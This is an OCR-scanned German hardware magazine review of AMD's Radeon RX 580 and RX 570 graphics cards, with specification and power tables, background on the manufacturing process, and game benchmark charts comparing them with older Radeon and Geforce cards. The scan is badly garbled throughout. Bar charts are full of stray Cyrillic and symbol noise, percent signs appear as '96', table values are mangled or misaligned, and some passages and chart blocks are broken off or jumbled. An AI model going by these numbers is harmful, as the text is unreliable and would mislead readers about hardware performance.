ИИТ К 8 


gerklasse eine Frischzellenkur. PC Games 
.Hardware verràt, ob die RX 580 und RX 570 
ihr Geld wert sind. 


INN gas 


IL 


К 


© 0000 ann® 


00060 


[el 


Die uns vorliegenden RX-500-Partner- 

„ designs bieten alle Monitor-Anschlüs- 
se, die man sich wünschen kann — 

DVI-I (analoge Signale) ausgenommen. 


ШШШ ттт 


г папаши. нот" 


H ишш!!! RoHS 


Video auf Heft-DVD 


Auf dem Datenträger der 
DVD-Plus-Heftversion 

finden Sie hochauflósende 

Bilder der schnellsten Ra- 

deon RX 580, Sapphires Nitro+ 

in der Limited Edition mit 1.450 MHz. Dieses 
Modell war bis zur Fertigstellung der DVD als 
einziges im PCGH-Labor zugegen. 


PC Games Hardware | 06/17 
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Technische Daten: Radeon RX 580/570 im Vergleich 


Modell Radeon Radeon Radeon Radeon Radeon Radeon Geforce Geforce Geforce 
RX 580 RX 480 RX 570 RX 470 R9 380X R9 390X GTX 1060 6GB | GTX 1060 3GB GTX 970 

Codename Polaris P20 XT | Polaris P10 XT | Polaris P20 Pro | Polaris P10 Pro Tonga XT Grenada (Hawaii) XT | — GP106-400 GP106-300 GM204-200 
Fertigung 14 nm FinFET | 14 nm FinFET | 14 пт FinFET 14 nm FinFET 28 nm 28 nm 16 nm FinFET 16 nm FinFET 28 nm 
DX-12-Feature-Level 12 0 12 0 12.0 12 0 12 0 12 0 21 21 12 1 
ChipgróBe (reiner Die) 232 mm? 232 mm? 232 mm? 232 mm? 359 mm? 438 mm? 200 mm? 200 mm? 398 mm? 
Transistoren Grafikchip (Mio.) 5.700 5.700 5.700 5.700 5.000 6.200 4.400 4.400 5.200 
Shader-/SIMD-/Textureinheiten 2.304/36/144 | 2.304/36/144 | 2.048/32/128 2.048/32/128 2.048/32/128 2.816/64/176 1.280/10/80 1.152/9/72 1.664/13/104 
Raster-Endstufen (ROPs) 32 32 32 32 32 64 48 48 56 
GPU-Basistakt (Megahertz) 1.257 1.120 1.168 926 unbekannt unbekannt .506 .506 1.050 
GPU-Boost-Takt (Megahertz) 1.340 1.266 1.244 1.205 970 1.050 ‚709 ‚709 1.178 
Rechenleistung SP/DP (Mrd./s)* 6.175/386 5.834/365 5.095/318 4.936/308 3.973/248 5.913/739 4.375/137 3.938/123 3.920/123 
Durchsatz Pixel/Texel (Mrd./s)* 42,9/193,0 40,5/182,3 39,8/159,2 38,6/154,2 31,0/124,2 67,21184,8 54,7/136,7 49,2/123 61,3/122,5 
Speicheranbindung (Bit) 256 2g 256 256 256 512 192 192 2244 32 
Geschwindigkeit RAM (GT/s) 8,0 8,0** 7,0 6,6*** 5,7 6,0 80 80 7,0 
Speicherübertragung (GB/s) 256 Ee 224 u 256 384 192 192 196+28 
Übliche Speichermenge (MiB) 8.192 8.192** 4.096 4.096*** 4.096 8.192 6.144 3.072 3.584+512 
PCI-Express-Stromanschlüsse 1 x 8-polig 1 x 6-polig 1 x 6-polig 1 x 6-polig 2 x 6-polig je 1 x 6-/8-polig 1 x 6-polig 1 x 6-polig 2 x 6-polig 
Typische Leistungsaufnahme <185 Watt <150 Watt <150 Watt <120 Watt <190 Watt 250 Watt <120 Watt <120 Watt <145 Watt 
* Auf Basis des Boost-/Max. Taktes **4-GiB-Modelle werkseitig mit 7 GT/s Speichergeschwindigkeit (224 GB/s) *** 8-GiB-Modelle teilweise mit 8 GT/s 


Radeon RX 580/570: Leistungsaufnahme im Vergleich 


Radeon Radeon Radeon Radeon Geforce Geforce GTX Geforce Geforce 

RX 580* RX 570** RX 480 R9 Nano*** GTX 1070 1060 6GB GTX 980 GTX 980 Ti 
Leistungsaufnahme (isoliert vom Restsystem) 
Leerlauf (Windows-Desktop) 16 Watt 13 Watt 15 Watt 14 Watt 8,5 Watt 6,5 Watt 12 Watt 15 Watt 
Zweischirmbetrieb (Ultra HD + Full HD) 43 Watt 33 Watt 44 Watt 18 Watt 11,5 Watt 8 watt 15 Watt 20 Watt 
Youtube-Video (Ultra HD) 29 Watt 24 Watt 49 Watt 45 Watt 12 Watt 10 Watt 14 Watt 21 Watt 
Crysis 3 (1.920 x 1.080) 208 Watt 190 Watt 157 Watt 195 Watt 149 Watt 116 Watt 165 Watt 230 Watt 
Anno 2070 (3.840 x 2.160) 215 Watt 225 Watt 160 Watt 198 Watt 148 Watt 120 Watt 163 Watt 234 Watt 
Jeweils gerundete Werte. Bei allen Karten gelten die Standardeinstellungen des Powerlimits. *Sapphire Nitro+ Limited Ed. (Silent-BIOS) **Powercolor Red Devil ***Asus White Edition 


ährend die High-End-Com- 

munity auf die Radeon RX 
Vega wartet, erneuert AMD zu- 
nächst sein Portfolio in der Einstei- 
ger- und Mittelklasse. Abverkaufs- 
angebote der Radeon RX 480 und 
470 kündeten bereits vor Wochen 
einen Machtwechsel an und seit 
dem 18. April ist es so weit: Die Ra- 
deon RX 580 und RX 570 sind im 
Handel. Treue Leser kennen bereits 
unsere Simulation der RX 580 aus 
der PCGH 05/2017. Beinahe alle 
Voraussagungen sind eingetroffen 
- doch der Reihe nach. 


RX 500 zusammengefasst 
Bei der Radeon RX 580 und 570 
handelt es sich um leicht verbes- 
serte Versionen der Vorgänger RX 
480 und 470, ein klassischer Re- 
fresh. Die nächstkleineren Modelle 
RX 560 und RX 550 werden zu ei- 
nem noch unbekannten Zeitpunkt, 
folgen. In dieser Ausgabe finden 
Sie daher zunächst die umfassen- 
den Spiele-Benchmarks zur Radeon 
RX 580 (8 GiByte) und RX 570 (4 
GiByte) sowie den Ersteindruck zu 
einigen Partnerdesigns. 


www.pcgameshardware.de 


Die grundlegenden Chipdaten der 
RX 580/570 haben sich gegenüber 
der RX 480/470 nicht geändert. 
Das Herz beider Modelle bildet ein 
Polaris-10-Grafikchip, welcher ähn- 
lich wie einst bei Hawaii - beim 
Wechsel von der R9 290(X) zur R9 
390(X) - etwas Fein-Tuning erhält. 
AMD spricht von einem aggressive- 
ren Taktverhalten und überarbei- 
teten Energieprofilen. Der grófste 
Vorteil kommt jedoch von der Fer- 
tigung, die seit Veróffentlichung 
der RX-400-Serie reifen konnte und 
damit hóhere Taktraten zulásst als 
noch 2016. Das gibt AMD den An- 
lass, Polaris 10 jetzt Polaris 20 zu 
nennen; aus Polaris 11 wird Polaris 
21 - anders als bei Hawaii und Gre- 
nada wird der Name ergo nicht nur 
im OEM-Bereich und Zwischen- 
handel, sondern óffentlich kommu- 
niziert. Naheliegende Verbesserun- 
gen wie etwa einen Metal-Respin 
wollte AMD nicht bestátigen. 


RX 580 und 570 en détail 

Die Radeon RX 580 nutzt den Pola- 
ris-20-Vollausbau mit 36 Compute- 
Units und kann daher auf 2.304 


Shader-ALUs und eine 256 Bit brei- 
te Speicherschnittstelle nebst (bis 
zu) 8 GiByte GDDR5-RAM zurück- 
greifen. Die Option von 4 GiByte 
soll es, wie bei der RX 480, erneut 
geben, AMD und dessen Board- 
partner wollen sich jedoch stárker 
auf 8-GiByte-Versionen konzent- 
rieren. Angesichts der abrufbaren 
Rohleistung und nahen Spiele-Zu- 
kunft erscheint uns das plausibel. 
Dazu würde 9-Gbps-Speicher pas- 
sen, welcher die Transferrate um 
12,5 % steigern kónnte, doch AMD 
verzichtet auf dieses Upgrade - 
man munkelt, dass die RAM-Liefe- 
ranten hohe Preise aufrufen. 


Die Radeon RX 570 nutzt analog 
zur RX 470 einen teildeaktivierten 
Polaris 20 mit 32 CUs und rechnet 
folglich mit 2.048 Shader-ALUs. 
Ansonsten ändert sich nichts: Das 
Back-End bleibt mit 32 Raster- 
Endstufen bestehen, die Speicher- 
schnittstelle ist 256 Bit breit. Der 
Fokus soll wie gehabt auf 4-GiBy- 
te-Karten liegen. Bei der RX 470 
boten nur Asus, MSI und Sapphire 
(teure) 8-GiByte-Modelle an. 


Da AMD weder die Anzahl der Re- 
chenwerke noch die Schlagkraft 
pro Zyklus erhöht, besteht das Up- 
grade der RX 580 und RX 570 aus 
erhöhten Taktraten. So boostet die 
Radeon RX 580 mit 1.340 MHz hö- 
her als die meisten OC-Versionen 
der RX 480. Die kräftigsten De- 
signs der Boardpartner stemmen 
dementsprechend 1.400 bis 1.450 
MHz, was bei der Veröffentlichung 
der Radeon RX 480 und RX 470 
undenkbar war. Bis heute erreichte 
das PCGH-Labor keine RX-400-Gra- 
fikkarte, die stabil über 1,4 GHz ge- 
taktet werden kann. 


In-Effizienz 

Die neue Spezialisierung auf er- 
höhte Frequenzen hat einen Malus 
bei der Energie-Effizienz zur Folge, 
AMD hebt die maximale Leistungs- 
aufnahme der Basiskarten an. Die 
RX 580 operiert mit 185 Watt typi- 
scher Leistungsaufnahme (RX 480: 
150W), die RX 570 mit 150 Watt 
(RX 470: 120W). Nvidias Geforce 
GTX 1060 rangiert bei lediglich 
120 Watt. Weitere Technikdetails 
finden Sie in der Tabelle oben. 
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POLARIS EVOLVED. 


A better reason to upgrade your old GPU 


AMDA | RADEON 


Bild: AMD 


Die Polaris-Frischzellenkur zusammengefasst. Die gereifte 14-nm-Fertigung erlaubt es 
AMD und seinen Partnern, Grafikkarten mit höheren Taktraten (bis zu 1,45 statt 1,34 
GHz) und besserer Effizienz im Teilllastbetrieb zu bauen. 
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Bild: AMD 


Bis Redaktionsschluss stand uns kein Muster der RX 560 zur Verfügung. AMD bewirbt 
die Polaris-21-Karte als Einstieg ins Full-HD-Gaming — das passt, denn sie verfügt 
über eine um 22 Prozent höhere Rechenleistung als die RX 460. 
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Bild: AMD 


Die Radeon RX 550 mit dem neuen Polaris-12-Chip ist ein guter, sparsamer Partner 
für einen Ryzen 5, denn ohne Grafikkarte bleibt das Bild aus. Die Leistung genügt für 
Casual-/MOBA-Spiele, rechnerisch ist die RX 550 der RX 460 jedoch klar unterlegen. 
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Verbesserungen sind bei der Wie- 
dergabe von Youtube-Videos oder 
der Verwendung zweier Bildschir- 
me zu verzeichnen. RX-400-Gra- 
fikkarten benötigen dabei relativ 
viel Energie. Ursächlich ist der 
Speicher, welcher mit dem vollen 
3D-Takt arbeitet. Im BIOS der RX- 
500-Modelle ist ein dritter Spei- 
cher-Power-State hinterlegt, der 
einen Zwischenschritt zu den zwei 
bisherigen Taktstufen darstellt und 
die Leistungsaufnahme verringern 
kann. Unsere Messungen (siehe 
Tabelle) belegen, dass Videos nun 
tatsächlich effizienter dargestellt 
werden, da die Frequenzen nahezu 
im Leerlauf-Zustand verweilen. Mit 
zwei unterschiedlichen Displays 
schnellt der Speichertakt jedoch 
wie gehabt auf den höchsten Po- 
wer-State, weshalb der Verbrauch 
relativ hoch ausfällt. 


Der Schalter „Energieeffizienz“ in 
den Radeon-Einstellungen wird 
bei RX-500-Karten ausgeblendet, 
da sie via Firmware die richtigen 
Power-Modi setzen. Bei älteren Ra- 
deons sorgt der Schalter für eine 
geringere Leistungsaufnahme im 
Desktop-Betrieb, Kann jedoch mini- 
male Leistungseinbußen während 
des Spielens verursachen. 


Fertigungsverwirrung 

Vor Veröffentlichung der RX- 
500-Serie machten Gerüchte die 
Runde, dass AMD Polaris 10 und 
Polaris 11 bei Globalfoundries 
im 14LPE-Prozess habe fertigen 
lassen. Dahinter verbirgt sich die 
erste 14-nm-FinFET-Generation 
„Low Power Early“, die vor allem 
Lizenzpartner Samsung zunächst 
für Smartphone-SoCs nutzte. We- 
nig überraschend hat AMD de- 
mentiert. Tatsächlich kam von 
Anfang an die zweite, verbesserte 
14-nm-Fertigung 14LPP („Low Po- 
wer Plus“) zum Einsatz. Daneben 
hat AMD erstmals bestätigt, dass 
Polaris-Grafikchips nicht nur bei 
Globalfoundries, sondern auch bei 
Samsung gefertigt werden, um Eng- 
pässe zu umschiffen. 


Hinter der beworbenen Fertigung 
„dritter Generation“ verbirgt sich 
nicht etwa ein neuer Prozess. AMD 
spricht gegenüber der Presse von 
einem gereiften 14LPP, welcher 
höhere Taktraten ermöglicht - die 
Chips entsprechen dennoch denen 
der RX-400-Serie. 


Leistungsschau 

Der PCGH-Leistungsindex offen- 
bart, wie sich die um 5,8 respektive 
3,1 Prozent erhöhte Rohleistung 
der RX 580/570 gegenüber den 
Vorgängern niederschlägt: 
bar, aber im Blindtest nicht festzu- 
stellen. Das Gesamtbild sehen Sie 
im Leistungsindex auf Seite 13 und 
Teile auf den folgenden Seiten. Un- 
ter dem Strich landet die Radeon 
RX 580/8G knapp vor Nvidias Ge- 
force GTX 1060/6G (+2 Prozent) 
und somit auf dem Niveau der GTX 
980. Bitter für Aufrüster ist, dass 
die alte R9 390X allen genannten 
Karten davonläuft - von ihr aus 


mess- 


lohnt sich erst die Leistungsklasse 
der GTX 1070 und besser. 


Wichtig: Mit dieser Ausgabe haben 
wir die Messwerte der Titel Deus 
Ex: Mankind Divided, Overwatch, 
The Talos Principle und Fallout 4 
(jetzt mit HD-Texturen) mit neuen 
Spielversionen und Grafiktreibern 
aktualisiert, was bei allen (!) auf- 
geführten Grafikkarten zu neuen 
Indizes und Bildraten führt. 


BIOS: RX 480 wird RX 580 

Die nahe Verwandschaft der neu- 
en mit den alten Karten motivier- 
te Wagemutige bereits zu Stunts: 
RX-480-Karten lassen sich an- 
scheinend per BIOS-Update in RX- 
580-Modelle verwandeln, wie ein 
Mitglied im Forum der Webseite 
Techpowerup.com bewiesen hat. 
Nutzer müssen jedoch mit Proble- 
men rechnen, weshalb ein Custom- 
Design mit Dual-BIOS von Vorteil 
ist, das sekundäre BIOS dient als Si- 
cherheitsnetz. Vorsicht ist vor allem 
bei den Taktraten geboten, da nicht 
jede RX 480 die neuen, höheren 
Taktraten schultern kann. Wenige 
Hersteller führen RX-580-Karten 
mit 1.340 MHz - deren Firmwares 
sind zum Aufmöbeln einer RX 480 
besonders interessant. (rv/mm) 


Radeon RX 580/570 & Co. 

Die Radeon RX 580 und RX 570 erfin- 
den das Rad keineswegs neu, verbes- 
sern ihre Vorgänger aber gezielt. Im 
Vergleich mit den Nvidia-Angeboten 
punkten sowohl die RX 580 als auch 
die RX 570 mit besserer Spieleleistung 


und zukunftsfähigerer Speicherbe- 
stückung. In Sachen Energieeffizienz 
ist Nvidia jedoch ungeschlagen. 
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Radeon RX 580/570: Leistung in Full High Definition (1080p) — Referenzkarten 


Doom (Vulkan), TSSAA 8ТХ/16:1 АЕ — „Devil’s Dance” 


AMD Radeon RX 480/8G. = a n48,9 (- 
AMD Radeon RX 480/4G [ian ЕЕЕ 143,2 (- 


AMD Radeon RX 470/8G oai s 128,0 (-17 96) 
AMD Radeon RX 470/4G on ems 127,6 (-17 %) 
AMD Radeon R9 390/8G. ӨӨ! p 123,5 (-20 %) 
Nvidia Geforce GTX 1060/6G gti s 116,8 (-24 %) 
AMD Radeon R9 280X/3G goi | 108,4 (-29 96) 
Nvidia Geforce GTX 970/3,5+0,5G gs x 106,4 (-31 96) 
Nvidia Geforce GTX 1060/3G gi pw 104,6 (-32 %) 
AMD Radeon R9 380/26 ag pos 73,0 (-52 96) 
Nvidia Geforce GTX 780/3G. [Xn 64,5 (-58 96) 
Nvidia Geforce GTX 770/26 3a ea 45,5 (-70 96) 


Overwatch, max. Details, Ingame-AA/16:1 AF – , Dorado" 


Nvidia Geforce GTX 1060/66 gt 104,9 (+0 96) 
AMD Radeon RX 580/8G ES 104,6 (Basis) 
AMD Radeon RX 480/8G [gat 8 102,2 (-2 96) 
AMD Radeon RX 480/4G [gg E 100,6 (-4 96) 

AMD Radeon R9 390X/8G [sgg 99,1 (-5 96) 

Nvidia Geforce GTX 1060/3G. Xs ШШ 95,8 (-8 96) 
AMD Radeon RX 570/4G ERR 94,2 (-10 96) 
AMD Radeon R9 390/8G gs 93,1 (-11 96) 

Nvidia Geforce GTX 970/3,5+0,5G gti 89,7 (-14 96) 
AMD Radeon RX 470/4G. gt! 89,6 (-14 96) 
AMD Radeon RX 470/8G. go 89,1 (-15 96) 
Nvidia Geforce GTX 780/3G |t 76,1 (-27 %) 
AMD Radeon R9 280X/3G [59H 65,9 (-37 96) 
Nvidia Geforce GTX 770/26 eo 65,7 (-37 96) 
AMD Radeon R9 380/26 sz 8 63,0 (-40 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - „Prague” 


AMD Radeon RX 580/8G SEIRE.<EHIVI=OIXŠI£sI<ƏOIIIIIUI<I<IIIÓ<OvI: s is ) 
AMD Radeon R9 390X/8G. Leg 61,7 (-2 96) 
AMD Radeon RX 480/8G. Esq 60,7 (-3 96) 
AMD Radeon R9 390/8G. sg 58,2 (-7 96) 
AMD Radeon RX 480/46 [agr 58,0 (-8 96) 
Nvidia Geforce GTX 1060/66 sms 57,6 (-8 96) 
AMD Radeon RX 570/4G ge 55,8 (-11 96) 
AMD Radeon RX 470/8G. [wm 53,3 (-15 96) 
AMD Radeon RX 470/4G. wn 52,8 (-16 96) 
Nvidia Geforce GTX 970/3,5--0,5G. ger 51,2 (-19 96) 
Nvidia Geforce GTX 1060/36 |n 50,6 (-20 96) 
AMD Radeon R9 280X/3G [93511 39,7 (-37 96) 
Nvidia Geforce GTX 780/3G ВЕ 328 39,5 (-37 96) 
AMD Radeon R9 380/26 9281 34,1 (-46 %) 
Nvidia Geforce GTX 770/26 ШШШ 26,7 (-58 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


AMD Radeon RX 580/8G SIII IGICGGIƏIIIsIÓ⁄WIIIxAIII 
Nvidia Geforce GTX 1060/66 [X581 61,2 (-2 %) 
AMD Radeon RX 480/8G. sil 60,2 (-4 96) 
AMD Radeon RX 480/4G. Eg; 58,8 (-6 %) 
Nvidia Geforce GTX 1060/3G. E84 57,1 (-9 96) 
AMD Radeon RX 570/4G. BIS 55,2 (-12 96) 
Nvidia Geforce GTX 970/3,5+0,56 MEMES] 54,3 (-13 96) 
AMD Radeon R9 390X/8G. [ssi 53,7 (-14 96) 
AMD Radeon RX 470/4G. ES 52,8 (-16 96 
AMD Radeon RX 470/8G. siii 52,7 (-16 96 
AMD Radeon R9 390/8G. asi 47,5 (-24 96) 
Nvidia Geforce GTX 780/3G. | 44,6 (-29 96) 
Nvidia Geforce GTX 770/26 38611 38,9 (-38 96) 
AMD Radeon R9 380/2G MESZ] 38,9 (-38 %) 
AMD Radeon R9 280X/3G. "gel 37,3 (-40 96) 


) 
) 


AMD Radeon RX 580/8G mW 153, (Basis) 


3%) 

7 %) 

AMD Radeon R9 390X/8G. gel ЕШШ 135,0 (-12 %) 
AMD Radeon RX 570/4G ESSE EI 133,5 (-13 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF - , Rooftops" 


Nvidia Geforce GTX 1060/6G EBEN 55,6 (+0 96) 
AMD Radeon RX 580/8G ISI 55,5 (Basis) 
AMD Radeon RX 480/8G. Egi 53,4 (-4 96) 

AMD Radeon R9 390X/8G. ШЗ ШЕШ 50,4 (-9 96) 
AMD Radeon R9 390/86 "gtt 47,3 (-15 96) 
AMD Radeon RX 470/8G [3S1 47,0 (-15 96) 

Nvidia Geforce GTX 1060/3G Ш 298 31,4 (-43 96) 

Nvidia Geforce GTX 970/3,5+0,5G Ш Д1 30,7 (-45 96) 
AMD Radeon RX 480/4G. 9231 30,0 (-46 96) 
AMD Radeon RX 570/4G ЕЗШ 28,7 (-48 96) 
AMD Radeon RX 470/46 221 27,6 (-50 %) 
Nvidia Geforce GTX 780/3G [2311 25,9 (-53 96) 
AMD Radeon R9 280X/3G Ш 22,3 (-60 96) 
AMD Radeon R9 380/2G ЖШ 18,9 (-66 %) 
Nvidia Geforce GTX 770/2G MOH 16,3 (-71 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 
AMD Radeon R9 390X/8G E39 50,2 (4-6 96) 
Nvidia Geforce GTX 1060/6G 381 49,4 (+4 %) 
AMD Radeon RX 580/8G ШЗ 47,4 (Basis) 
Nvidia Geforce GTX 1060/36 351 88 46,1 (-3 96) 
AMD Radeon RX 480/8G EISEN 46,0 (-3 96) 
AMD Radeon R9 390/8G. ВЕЗУ Ex 45,8 (-3 96) 
AMD Radeon RX 480/4G. LE 44,5 (-6 96) 
Nvidia Geforce GTX 970/3,5--0,5G. ЕЗ5 8 43,2 (-9 96) 
AMD Radeon RX 570/4G Pap 42,2 (-11 94) 
AMD Radeon RX 470/4G E3213 40,8 (-14 96) 
AMD Radeon RX 470/8G. MESZ 40,7 (-14 96) 
Nvidia Geforce GTX 780/3G. BEZAN 35,3 (-26 96) 
AMD Radeon R9 280X/3G. Ш 25188 33,4 (-30 96) 
Nvidia Geforce GTX 770/2G ВШ 2518 32,3 (-32 %) 
AMD Radeon R9 380/2G ШЗ 30,2 (-36 %) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


AMD Radeon RX 580/8G. ЗЛ 45,2 (Basis) 
AMD Radeon R9 390X/8G EBEN 44,3 (-2 96) 
AMD Radeon RX 480/8G. 993813 43,6 (-4 9) 
Nvidia Geforce GTX 1060/6G. E381! 43,3 (-4 96) 
AMD Radeon RX 480/46 E3813 42,0 (-7 96) 
AMD Radeon R9 390/8G ШЕ 28 40,4 (-11 96) 
AMD Radeon RX 570/4G Papp 38,6 (-15 96) 
AMD Radeon RX 470/8G MEESTE 38,1 (-16 96) 
AMD Radeon RX 470/4G. ШЗ 38,0 (-16 96) 
Nvidia Geforce GTX 970/3,5+0,5G [2811 32,9 (-27 96) 
AMD Radeon R9 280X/3G. 221 27,2 (-40 %) 
Nvidia Geforce GTX 780/3G ЖЛЕ 24,3 (-46 96) 
Nvidia Geforce GTX 1060/3G В 18 21,0 (-54 96) 
AMD Radeon R9 380/2G. MAI 17,3 (-62 96) 
Nvidia Geforce GTX 770/26 891 10,4 (-77 96) 


СТА 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF — „Grapeseed” 


Nvidia Geforce GTX 1060/66 37 40,3 (+11 96) 
Nvidia Geforce GTX 1060/36 [351] 37,9 (+5 96) 
AMD Radeon R9 390X/8G 34 37,3 (+3 96) 
AMD Radeon RX 580/8G Peer 36,2 (Basis) 
AMD Radeon R9 390/86 ЗИ 34,9 (-4 %) 
AMD Radeon RX 480/86 [321] 34,7 (-4 96) 
AMD Radeon RX 480/46 MEEST] 34,1 (-6 96) 
Nvidia Geforce GTX 970/3,5+0,5G MEEST] 33,8 (-7 96) 
AMD Radeon RX 570/46 WWIWWWBOQJ32,6 (-10 96) 
AMD Radeon RX 470/4G ВЕ 29]1 31,2 (-14 %) 
Nvidia Geforce GTX 780/3G [38/1 30,9 (-15 96) 
AMD Radeon RX 470/86 HUWNMB28I30,9 (-15 96) 
Nvidia Geforce GTX 770/26 Ш 91| 27,5 (-24 96) 
AMD Radeon R9 280X/3G. В 2311 26,4 (-27 96) 
AMD Radeon R9 380/26 Ш 20,5 (-43 96) 


Mimil ø Fps 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), Geforce 378.92/.78, Radeon Software 17.4/3, HQ-AF 
Bemerkungen: In den meisten Fällen rangiert die Radeon RX 580 vor der Geforce GTX 1060 6GB, während die RX 570 die GTX 1060 3GB besiegen kann. 


» Besser 


www.pcgameshardware.de 
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Radeon RX 580/570: Leistung in WQHD (1440p) - Referenzkarten 


Far Cry: Primal, TAA/16:1 Treiber-AF - „Sunrise” 


AMD Radeon R9 390X/8G [33i 40,2 (+9 96) 
AMD Radeon RX 580/8G ВЗ 37,0 (Basis) 
Nvidia Geforce GTX 1060/6G EHESTEN 36,9 (-0 96) 
AMD Radeon R9 390/8G. gr 36,5 (-1 96) 
AMD Radeon RX 480/8G. ES 35,9 (-3 96) 
AMD Radeon RX 480/46 [agi 34,7 (-6 96) 
Nvidia Geforce GTX 1060/3G. [a8 Ex 34,3 (7 96) 
AMD Radeon RX 570/46 PE 32,9 (-11 96) 
AMD Radeon RX 470/4G. Ea ЕШ 31,8 (-14 96) 


Doom (Vulkan), TSSAA 8TX/16:1 AF - , Devil's Dance" 


AMD Radeon RX 580/8G Ш NW 96,5 (Basis) 
AMD Radeon RX 480/8G Eg s 93,7 (-3 %) 
AMD Radeon RX 480/4G an peu 90,2 (-7 %) 

AMD Radeon R9 390X/8G. Egan e 87,9 (-9 90) 
AMD Radeon RX 570/4G ESSE III 83,3 (-14 96) 
AMD Radeon RX 470/8G =a 80,2 (-17 96) 
AMD Radeon R9 390/8G Eee 80,0 (-17 96) 
AMD Radeon RX 470/46 Eget s 78,7 (-18 96) 

Nvidia Geforce GTX 1060/6G sg s 74,1 (-23 %) 


Nvidia Geforce GTX 1060/3G sg [68,5 (-29 96) 
AMD Radeon R9 280X/3G agi iw 66,9 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G sq 66,3 (31 96) 
Nvidia Geforce GTX 780/3G |a 41,5 (-57 %) 
AMD Radeon R9 380/26 3a 41,4 (-57 96) 
Nvidia Geforce GTX 770/26 Ea 30,4 (-68 96) 


Overwatch, max. Details, Ingame-AA/16:1 AF - , Dorado" 


AMD Radeon RX 580/8G masl 69,9 (Basis) 
Nvidia Geforce GTX 1060/6G gai Ex 69,4 (-1 96) 
AMD Radeon RX 480/8G. gat 68,5 (-2 96) 
AMD Radeon R9 390X/8G gn 68,0 (-3 96) 
AMD Radeon RX 480/4G wet 67,3 (-4 %) 
AMD Radeon R9 390/8G Xs 63,8 (-9 96) 
AMD Radeon RX 570/4G awasi 63,2 (-10 96) 
Nvidia Geforce GTX 1060/36 ШС 62,7 (-10 96) 
AMD Radeon АХ 470/4G Es! 60,4 (-14 96) 
AMD Radeon RX 470/8G. Esq 60,1 (-14 %) 
Nvidia Geforce GTX 970/3,5+0,5G Esp E 59,9 (-14 96) 
Nvidia Geforce GTX 780/3G pm 51,1 (27 %) 
AMD Radeon R9 280X/3G | 45,1 (-35 %) 
Nvidia Geforce GTX 770/26 | 44,1 (-37 %) 
AMD Radeon R9 380/2G E38 43,2 (-38 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


AMD Radeon RX 580/8G EE 43, 1 ((Basis) Basis) 
Nvidia Geforce GTX 1060/6G xu 41,4 (-4 96) 
AMD Radeon RX 480/8G. agi 41,1 (-5 96) 
AMD Radeon RX 480/4G. Egit 40,0 (-7 96) 
Nvidia Geforce GTX 1060/3G 381? 38,6 (-10 96) 
AMD Radeon R9 390X/8G [361 37,9 (-12 96) 
AMD Radeon RX 570/46 EBEN 37,3 (-13 96) 
Nvidia Geforce GTX 970/3,5--0,5G. ШЗ] 36,8 (-15 96) 
AMD Radeon RX 470/46 ME] 35,6 (-17 96) 
AMD Radeon RX 470/8G. Egi] 35,5 (-18 96) 
AMD Radeon R9 390/8G. En 33,2 (-23 96) 
Nvidia Geforce GTX 780/36 MEZ] 31,2 (-28 96) 
AMD Radeon R9 280X/3G. EEE 27,2 (-37 %) 
Nvidia Geforce GTX 770/26 E351] 26,7 (-38 96) 
AMD Radeon R9 380/2G 38] 26,4 (-39 %) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - , Prague" 


AMD Radeon R9 390X/8G. [388 42,4 (+1 96) 
AMD Radeon RX 580/8G EEE 41,8 (Basis) 
AMD Radeon RX 480/86 ae 40,5 (-3 96) 
AMD Radeon R9 390/8G sen 40,1 (-4 96) 
AMD Radeon RX 480/46 Loge 38,7 (-7 %) 

Nvidia Geforce GTX 1060/66 Eas; 38,6 (-8 96) 
AMD Radeon RX 570/4G BEES 37,1 (-11 96) 
AMD Radeon RX 470/8G. aat 35,4 (-15 96) 
AMD Radeon RX 470/46 amm 35,2 (-16 96) 
Nvidia Geforce GTX 970/3,5+0,5G ШО 33,6 (-20 96) 
Nvidia Geforce GTX 1060/36 ag 32,3 (23 96) 
Nvidia Geforce GTX 780/3G [33H 26,3 (-37 96) 

AMD Radeon R9 280X/3G. 23i 26,3 (-37 96) 

AMD Radeon R9 380/26 [XL 21,8 (-48 %) 
Nvidia Geforce GTX 770/26 III 17,3 (-59 96) 


AMD Radeon RX 470/8G. EBEN 31,7 (-14 96) 
Nvidia Geforce GTX 970/3,5+0,5G 3s 31,3 (-15 96) 
Nvidia Geforce GTX 780/36 [221 88 27,6 (-25 96) 
AMD Radeon R9 280X/3G. Eau 27,0 (-27 96) 
Nvidia Geforce GTX 770/26 ВЕ 19188 24,4 (-34 %) 
AMD Radeon R9 380/2G ШЕ 1918 23,9 (-35 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF — , Rooftops" 


Nvidia Geforce GTX 1060/6G. Xam ЕШ 37,3 (+0 96) 
AMD Radeon RX 580/8G ШШШ 37,2 (Basis) 
AMD Radeon RX 480/8G. gs 36,1 (-3 96) 

AMD Radeon R9 390X/8G ШО 35,2 (-5 94) 

AMD Radeon А9 390/8G ai 32,4 (-13 96) 

AMD Radeon RX 470/8G. [23i 31,8 (-15 96) 
Nvidia Geforce GTX 970/3,5-0,5G. Ж ШШШ 23,0 (-38 96) 
AMD Radeon RX 480/46 EMI 22,2 (-40 %) 

Nvidia Geforce GTX 1060/3G Ш 58 20,1 (-46 96) 

AMD Radeon RX 570/4G ШБ 20, 1 (-46 96) 
AMD Radeon RX 470/4G Sl I 19,9 (-47 %) 
Nvidia Geforce GTX 780/36 [WEE 17,5 (-53 96) 
AMD Radeon R9 280X/3G Ш 16,7 (-55 96) 
AMD Radeon R9 380/2G йй 9,5 (-74 96) 
Nvidia Geforce GTX 770/26 818 7,8 (-79 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


AMD Radeon R9 390X/8G [E38 32,8 (+1 96) 
AMD Radeon RX 580/8G ВОЛ 32,5 (Basis) 
AMD Radeon RX 480/86 Egg 31,3 (-4 96) 

